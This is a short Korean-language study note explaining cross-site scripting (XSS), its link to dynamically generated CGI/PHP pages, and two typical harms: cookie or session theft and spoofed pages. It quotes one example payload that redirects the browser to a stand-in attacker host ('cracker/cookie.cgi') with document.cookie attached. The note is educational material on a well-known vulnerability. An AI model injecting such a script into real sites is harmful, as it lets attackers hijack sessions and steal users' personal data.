XSS 취약점

XSS 취약점 ( Cross Site Scripting ) 

* CCS는 이미 다른 약어로 사용되고 있기때문에 표기를 달리함

: 웹 어플리케이션 관련 취약점 

게시판이나 웹 메일 등에 악의적인 스크립트를 삽입하여 비정상적인 페이지가 보이게해 사용자를 방해하거나, 쿠키 및 기타 개인정보를 특정사이트로 전송함

사용자의 입력내용을 포함하는 HTTP요청에 대해 동적으로 HTML을 생성하는 어플리케이션 ( CGI )이 공격대상이 됩니다.

* CGI = 사용자의 요청에 의한 서버의 응답 ( Common Gate interface )

PHP , ASP = CGI를 만들기 위한 도구 / 스크립팅 언어

예) PHP 와 CGI는 상하관계 : PHP는 언어, CGI는 규약, 동작 원리이다.

PHP 는 CGI이다 = PHP로 만들어진 결과물은 CGI의 역할을 한다.

:: PHP/ ASP = CGI 라고 할수도 있다.

정적인  웹페이지 , 즉 일반적인 HTML로 작성된 웹페이지에서는 이 문제는 일어나지 않습니다.

 

페이지 안에 입력창이 있을경우,

사용자가 임의로 script나 alter 등 삽입하는것이 가능하다.

이처럼 웹페이지에 사용자가 임의의 script를 삽입시킬수 있는 문제 있을경우,

이를 XSS라고 한다.

대표적인 피해

1. 쿠키 훔치기

  "document.location="http://cracker/cookie.cgi?cookie="+document.cookie;"

사용자가 위와 같은 스크립트를 실행하게 되면 해커의 사이트의 cookie.cgi가 수행될때 뒤에 딸린 인자에 사용자의 쿠키가 포함된 형태로 엑세스 하게 된다.

이 사용자 쿠키는 공격자의 웹서버 로그에도 남을것이고, 인자로써 사용자쿠키를 받은 cookie.cgi 에서 어떤 처리라도 할수 있다.

-> 예를 들어 로그인을 위한 정보의 쿠키가 있는 웹사이트가 있고, 이 쿠키를 훔쳐갈 경우 개인정보 탈취가능 

만일, 쿠키에 개인정보를 포함하고 있지않고, 세션 ID 와 같은 정보만을 보관하고 있더라도 이 세션 ID만으로 사용자인증처리 하는 경우에는 마찬가지로 위험하게 된다.

훔친 세션ID 와 자신의것고 바꿔치기 할 경우, 웹사이트는 해커를 정상적인 사용자로 인증하게 된다.

2.  거짓 페이지 보이기

아무 태그나 다 사용할수 있다면, 원래 페이지의 일부를 변조하여 사용자에게 보여준다거나 원래페이지와 유사한 거짓 페이지를 보여주는것도 가능하다.